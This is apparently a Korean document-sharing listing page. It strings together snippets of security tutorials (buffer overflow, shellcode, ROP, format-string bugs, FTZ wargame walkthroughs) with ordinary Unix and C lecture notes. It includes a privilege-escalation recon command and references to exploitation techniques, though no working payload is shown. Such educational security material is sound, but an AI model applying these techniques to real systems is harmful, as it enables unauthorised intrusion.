윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

vi 사용법

vi 사용법 네트워크프로그래밍 6 장과제샘플코드 - 1:1 채팅 (udp 버전 ) 과제 서버에서먼저 bind 하고그포트를다른사람에게알려줄것 클라이언트에서알려준포트로접속 서로간에키보드입력을받아상대방에게메시지전송 2 Makefile 1 SRC_DIR =../../common 2 COM_OBJS = $(SRC_DIR)/addressUtility.o $(SRC_DIR)/dieWithMessage.o

More information

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u HackerSchool WarGame 풀이 Written by StolenByte http://stolenbyte.egloos.com - 1 - Level 1. Trivial [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. [level1@ftz level1]$ find / -user level2 2>/dev/null

More information

Contents 1. 목적 풀이 Level

Contents 1. 목적 풀이 Level FTZ 풀이보고서 Moomoo/badass4514@gmail.com 1 Contents 1. 목적 -------------------------------------------------------------- 3 2. 풀이 Level1 -----------------------------------------------------------------------

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 12 장파이프 2 12.1 파이프 파이프원리 $ who sort 파이프 3 물을보내는수도파이프와비슷 한프로세스는쓰기용파일디스크립터를이용하여파이프에데이터를보내고 ( 쓰고 ) 다른프로세스는읽기용파일디스크립터를이용하여그파이프에서데이터를받는다 ( 읽는다 ). 한방향 (one way) 통신 파이프생성 파이프는두개의파일디스크립터를갖는다. 하나는쓰기용이고다른하나는읽기용이다.

More information

simple ROP Exploit

simple ROP Exploit SIMPLE ROP EXPLOIT 문제로풀어보는 ROP TigerTeam elttzero@tigerteam.kr 목차 1. 개요... 2 2. Buffer OverFlow... 2 3. BOF 방어기법... 3 3.1. DEP(Data Execution Prevention)... 3 3.2. ASLR(Address Space Layout Randomization)...

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

Microsoft PowerPoint - lab14.pptx

Microsoft PowerPoint - lab14.pptx Mobile & Embedded System Lab. Dept. of Computer Engineering Kyung Hee Univ. Keypad Device Control in Embedded Linux HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착되어있다. 2 Keypad Device Driver

More information

<52544CC0BB20BEC6B4C2B0A12E687770>

<52544CC0BB20BEC6B4C2B0A12E687770> RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY ----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 -----------------------------------------------------------------------

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 13 장소켓 2 13.1 소켓 클라이언트 - 서버모델 네트워크응용프로그램 클리이언트 - 서버모델을기반으로동작한다. 클라이언트 - 서버모델 하나의서버프로세스와여러개의클라이언트로구성된다. 서버는어떤자원을관리하고클라이언트를위해자원관련서비스를제공한다. 3 소켓의종류 소켓 네트워크에대한사용자수준의인터페이스를제공 소켓은양방향통신방법으로클라이언트 - 서버모델을기반으로프로세스사이의통신에매우적합하다.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 DEVELOPMENT ENVIRONMENT 2 MAKE Jo, Heeseung MAKE Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one 2

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Development Environment 2 Jo, Heeseung make make Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one It

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

컴파일러

컴파일러 YACC 응용예 Desktop Calculator 7/23 Lex 입력 수식문법을위한 lex 입력 : calc.l %{ #include calc.tab.h" %} %% [0-9]+ return(number) [ \t] \n return(0) \+ return('+') \* return('*'). { printf("'%c': illegal character\n",

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

untitled

untitled 1 hamks@dongguk.ac.kr (goal) (abstraction), (modularity), (interface) (efficient) (robust) C Unix C Unix (operating system) (network) (compiler) (machine architecture) 1 2 3 4 5 6 7 8 9 10 ANSI C Systems

More information

슬라이드 1

슬라이드 1 Computer Networks Practice Socket 1 DK Han Junghwan Song dkhan@mmlab.snu.ac.kr jhsong@mmlab.snu.ac.kr 2012-3-26 Multimedia and Mobile communications Laboratory Introduction Client / Server model Server

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

BufferOverflow on Solaris Sparc

BufferOverflow on Solaris Sparc BufferOverflow on Solaris Sparc by Tyger (nobody4@empal.com) 1. 서문이문서에서는 Solaris Sparc에서의버퍼오버플로우에대해다룰것이다. 버퍼오버플로우에대한개념은이미알고있는걸로간주하고, Intel x86에서의버퍼오버플로우와차이점에중점을두고설명한다. 참고로 Sparc 머신이없어서아래의환경에서만테스트한것이므로다른환경에선이내용과다른결과가나올수도있다.

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

Microsoft PowerPoint - 06-CompSys-16-Socket.ppt

Microsoft PowerPoint - 06-CompSys-16-Socket.ppt 소켓시스템콜소개 TCP 클라이언트 / 서버프로그래밍 signal(), fork() 시스템콜 TCP 클라이언트 / 서버프로그래밍예 talk_client.c, talk_server.c UDP 클라이언트 / 서버프로그래밍 순천향대학교컴퓨터학부이상정 1 소켓시스템콜소개 순천향대학교컴퓨터학부이상정 2 소켓 (socket) 소켓은 TCP/IP 프로토콜을이용하기위한시스템콜인터페이스

More information

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D> 학습목표 프로세스를생성하는방법을이해한다. 프로세스를종료하는방법을이해한다. exec함수군으로새로운프로그램을실행하는방법을이해한다. 프로세스를동기화하는방법을이해한다. 프로세스생성과실행 IT CookBook, 유닉스시스템프로그래밍 2/24 목차 프로세스생성 프로세스종료함수 exec 함수군활용 exec 함수군과 fork 함수 프로세스동기화 프로세스생성 [1] 프로그램실행

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 프로세스생성과실행 IT CookBook, 유닉스시스템프로그래밍 학습목표 프로세스를생성하는방법을이해한다. 프로세스를종료하는방법을이해한다. exec함수군으로새로운프로그램을실행하는방법을이해한다. 프로세스를동기화하는방법을이해한다. 2/24 목차 프로세스생성 프로세스종료함수 exec 함수군활용 exec 함수군과 fork 함수 프로세스동기화 3/24 프로세스생성 [1]

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

Execute_Shellcode_on_the_MacOSX.txt - 메모장

Execute_Shellcode_on_the_MacOSX.txt - 메모장 ####################################################################### Execute Shellcode on the MacOSX 1ndr4 "indra.kr". " x40". "gmail.com" http://indra.linuxstudy.pe.kr 2005. 08. 19. ########################################################################

More information

Fedora Core 3,4,5 stack overflow.docx

Fedora Core 3,4,5 stack overflow.docx Fedora Core 3,4,5 stack overflow - www.hackerschool.org - - by randomkid - +------------------------------ 목차 ----------------------------------+ 1. 스택오버플로우의역사 2. 커널 2.4 에서의 stack overflow 방법 (shellcode

More information

$ret = ""; $socket = fsockopen(" ", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $

$ret = ; $socket = fsockopen( , 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $ The 5eX m2n 푼문제 : O O O X O X X O O X O O O O X O X O O O level1 : parse string Level1은 210:207.246.131 이라는 IP와 8888이라는포트번호가주어진다. 접속하여보면, base64로인코딩된스트링을보여주면서, Plain text를전송하라고한다. Base64된스트링을디코드해보면, beistlab

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

SYN flooding

SYN flooding Hacking & Security Frontier SecurityFirst SYN flooding - SYN flooding 공격의원리와코드그리고대응 by amur, myusgun, leemeca 2008. 09. myusgun Agenda 개요...3 원리...3 위협...4 잠깐! - 문서에관하여...4 이문서는...4 Code...4 대응방안...4 소스코드...5

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 binoopang@is119.jnu.ac.kr Abstract libc에서제공하는 API를후킹해본다. 물론이방법을사용하면다른라이브러리에서제공하는 API들도후킹할수있다. 여기서제시하는방법은리눅스후킹에서가장기본적인방법이될것이기때문에후킹의워밍업이라고생각하고읽어보자 :D Content 1.

More information

3. 다음장에나오는 sigprocmask 함수의설명을참고하여다음프로그램의출력물과그출력물이화면이표시되는시점을예측하세요. ( 힌트 : 각줄이표시되는시점은다음 6 가지중하나. (1) 프로그램수행직후, (2) 5 초후 (3) 10 초후 (4) 15 #include <signa

3. 다음장에나오는 sigprocmask 함수의설명을참고하여다음프로그램의출력물과그출력물이화면이표시되는시점을예측하세요. ( 힌트 : 각줄이표시되는시점은다음 6 가지중하나. (1) 프로그램수행직후, (2) 5 초후 (3) 10 초후 (4) 15 #include <signa 학번 : 이름 : 1. 다음가정하에서아래프로그램의출력물을예측하세요. 가정 : 부모프로세스의 process id=10100, 자식프로세스의 process id=10101. char buf[] = "a write to stdout\n"; int var; /* automatic variable on the stack */ pid_t pid; int glob = 31;

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

학번 : 이름 1. 다음프로그램실행결과를예측하시오. $./a.out & [1] 7216 $ kill -USR $ kill -USR 아래학생이작성한쓰레드코드의문제점을설명하시오. void* thread_main() { pthread_mutex_t

학번 : 이름 1. 다음프로그램실행결과를예측하시오. $./a.out & [1] 7216 $ kill -USR $ kill -USR 아래학생이작성한쓰레드코드의문제점을설명하시오. void* thread_main() { pthread_mutex_t 학번 : 이름 1. 다음프로그램실행결과를예측하시오. $./a.out & [1] 7216 $ kill -USR1 7216 $ kill -USR2 7216 2. 아래학생이작성한쓰레드코드의문제점을설명하시오. void* thread_main() pthread_mutex_t lock=pthread_mutex_initializer; pthread_mutex_lock(&lock);

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

Microsoft PowerPoint - 13 ¼ÒÄÏÀ» ÀÌ¿ëÇÑ Åë½Å 2.ppt

Microsoft PowerPoint - 13 ¼ÒÄÏÀ» ÀÌ¿ëÇÑ Åë½Å 2.ppt 13 장소켓을이용한통신 (2) 소켓을이용한통신 (2) 함수 - recvfrom - sendto - uname - gethostname - gethostbyname - gethostbyaddr 1 1. 서론 소켓을사용하여비연결형모델로통신을하기위한함수와그외의함수 함수 의미 recvfrom 비연결형모델에서소켓을통해메시지를수신한다. sendto 비연결형모델에서소켓을통해메시지를송신한다.

More information

ABC 11장

ABC 11장 12 장고급응용 0 수행중인프로그램 프로세스 모든프로세스는유일한프로세스식별번호 (PID) 를가짐 유닉스에서는 ps 명령을사용하여프로세스목록을볼수있음 12-1 프로세스 $ ps -aux USER PID %CPU %MEM SZ RSS TT STAT START TIME COMMAND blufox 17725 34.0 1.6 146 105 i2 R 15:13 0:00

More information

<43B7CE20BECBBEC6BAB8B4C220BCD2C4CFC7C1B7CEB1D7B7A1B9D62E687770>

<43B7CE20BECBBEC6BAB8B4C220BCD2C4CFC7C1B7CEB1D7B7A1B9D62E687770> C 로알아보는 소켓프로그래밍 이현환 (NOON) haonun@gmail.com http://noon.tistory.com Hacking Study Grup E.Y.E -------------------------------------------------------------------- 목차 --------------------------------------------------------------------

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st 08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP struct Find BROP Proof of concept Example code Test server

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Microsoft PowerPoint - chap12-고급기능.pptx

Microsoft PowerPoint - chap12-고급기능.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 가 제공하는 매크로 상수와 매크로

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

chap 5: Trees

chap 5: Trees 5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

歯9장.PDF

歯9장.PDF 9 Hello!! C printf() scanf() getchar() putchar() gets() puts() fopen() fclose() fprintf() fscant() fgetc() fputs() fgets() gputs() fread() fwrite() fseek() ftell() I/O 2 (stream) C (text stream) : `/n'

More information

various tricks for remote linux exploits v3.pptx

various tricks for remote linux exploits v3.pptx various tricks for linux remote exploits 이석하 wh1ant 2013.11.30 www.codeengn.com 2013 CodeEngn Conference 09 Thank you The author would like to thank to trigger for reviewing this paper :) 순서 1 - Traditional

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

ronny report( wooyaggo, hkpco ).hwp

ronny report( wooyaggo, hkpco ).hwp Padocon Capture The Flag Hacking Contest Report team_name: ronny 구성원 - wooyaggo, hkpco 1. SectionA Level1 http://www.plus.or.kr/ctf/prob/c4724593d21aeccd08a4914b66ba278e SectionA Level1 : http://www.plus.or.kr/ctf/prob/c4724593d21aeccd08a4914b66ba278e

More information

Microsoft Word - KPMC-400,401 SW 사용 설명서

Microsoft Word - KPMC-400,401 SW 사용 설명서 LKP Ethernet Card SW 사용설명서 Version Information Tornado 2.0, 2.2 알 림 여기에실린내용은제품의성능향상과신뢰도의증대를위하여예고없이변경될수도있습니다. 여기에실린내용의일부라도엘케이일레븐의사전허락없이어떠한유형의매체에복사되거나저장될수없으며전기적, 기계적, 광학적, 화학적인어떤방법으로도전송될수없습니다. 엘케이일레븐경기도성남시중원구상대원동

More information

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - polling.pptx 지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식

More information